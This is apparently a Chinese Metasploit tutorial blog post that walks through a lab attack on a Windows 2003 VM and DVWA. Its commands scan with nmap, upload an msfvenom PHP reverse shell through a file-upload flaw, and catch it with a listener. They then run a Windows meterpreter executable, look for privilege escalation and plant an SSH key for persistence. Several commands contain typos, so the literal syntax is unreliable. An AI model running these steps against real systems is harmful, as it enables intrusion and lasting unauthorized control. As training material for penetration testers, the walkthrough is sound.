Metasploit系列----未知目标测试

攻击机器:kali 192.168.1.8
目标机器:windows2003 192.168.1.7
操作步骤

创建工作空间

显示数据库未连接
Metasploit系列----未知目标测试
使用msfdb init对数据进行初始化
Metasploit系列----未知目标测试使用命令db_status查看数据库状态信息,显示数据库已连接。
Metasploit系列----未知目标测试
使用命令workspace -a 192.168.1.7创建目标工作空间。
Metasploit系列----未知目标测试

信息搜集

测试目标连通性ping 192.168.1.7(ping -c 3 ip :ping三次后结束 和 ping 使用ctrl+c结束)
Metasploit系列----未知目标测试

测试目标服务:在msf中使用db_nmap 调用nmap对目标进行扫描
使用命令 db_nmap -sS 192.168.1.7
Metasploit系列----未知目标测试扫描结果会自动保存在数据库中
使用services查看保存结果
Metasploit系列----未知目标测试对于http端口,使用http_version搜索相关版本信息
使用命令search http_version查找相关信息

Metasploit系列----未知目标测试使用use进入模块
Metasploit系列----未知目标测试
使用show options查看需要设置的参数
Metasploit系列----未知目标测试使用set设置相关参数
使用run运行
Metasploit系列----未知目标测试通过http运行的web程序进行渗透测试;
对web程序,使用dir_scanner模块对目录进行扫描
Metasploit系列----未知目标测试

威胁建模与漏洞分析:

环境:在windows10中使用phpstudy搭建环境。
基于dvwa文件上传漏洞http://127.0.0.1:8081/vulnerabilities/upload/
Metasploit系列----未知目标测试

渗透测试与权限控制

已知此处存在文件上传漏洞:
上传php meterpreter payload 文件,浏览器访问上传后的文件,获取php类型的反弹会话。
Metasploit系列----未知目标测试使用命令:msfvenom -l payload | grep php | grep meterpreter 筛选php后渗透模块的payload.
Metasploit系列----未知目标测试选择php/meterpreter_reverse_tcp模块,使用命令:msfvenom -p php/meterpreter_reverss_tcp lost=192.168.1.8 lport=4445 -o /home/shell.php指定payload模块设置监听地址及监听端口,并指定生成文件的地址。可以看到成功生成shell.php文件。
Metasploit系列----未知目标测试在dvwa上传点上传shell.php文件
Metasploit系列----未知目标测试打开msf设置监听
使用命令 use expolit/muliti/handler配置监听模块
Metasploit系列----未知目标测试
使用命令show options查看模块
Metasploit系列----未知目标测试set payload php/meterpreter_reverse_tcp(此处的payload一定要和上方生成的payload的是同一个模块)
set lhost 192.168.1.8 设置监听的ip
set lport 4445 设置监听端口
Metasploit系列----未知目标测试run 运行,同时在浏览器*问上传的shell.php文件,msf会生成相关的会话。

Metasploit系列----未知目标测试由于生成的会话不稳定(会话被中断,执行run重新访问上传的shell.php即可),且php meterpreter 不具有meterpreter完整功能,因此可以继续上传exe的meterpreter获取更多操作功能。

使用命令msfvenom -l payload | grep windows | grep meterpreter筛选windows后渗透测试payload
Metasploit系列----未知目标测试使用命令:msvenom -p windows.x64/meterpreter_reverse_tcp lhost=192.168.1.8 lport=4446 -f exe -o /home/shell1.exe生成payload
Metasploit系列----未知目标测试使用刚才通过的上传php获得的meterpreter,上传生成的shell1.exe
upload /home/shell1.exe 上传成功
Metasploit系列----未知目标测试使用dir查看已经成功上传shell1.exe,且具备执行权限(若文件不具备执行权限则使用命令对文件添加权限)
Metasploit系列----未知目标测试再打开一个msf设置监听,监听上传的exe会话。
Metasploit系列----未知目标测试
在通过的上传php获得的meterpreter,使用命令execute -f shell1.exe执行上传的exe
Metasploit系列----未知目标测试可在新打开的msf中建立相关的会话。
Metasploit系列----未知目标测试此时获得权限认为web服务层面的权限,获取system权限
使用命令 use post/multi/recon/local_exploit_suggester配置相关参数检测是否存在提权模块
Metasploit系列----未知目标测试使用提示的模块进行提权,我这里可能由于开启防火墙的原因未提权成功。正常情况下通过该操作可以 获得system权限。
Metasploit系列----未知目标测试

维持权限

linux
使用 post/linux/manage目录下得sshkey_persistence模块实现对Linux服务的持续控制
use post/linux/manage/sshkey_persistence
show options
set session 2(使用具有root权限的session)
run
执行后会生成私钥文件
Metasploit系列----未知目标测试直接使用命令 ssh root@[目标ip] -i [私钥文件路径]直接登录目标机器
Metasploit系列----未知目标测试root用户经常会被禁止远程登录,此时需要修改ssh配置,使其允许root用户登录。

windows

详见windows权限维持

上一篇:Meterpreter入门与精通(一)(二)


下一篇:msf使用基础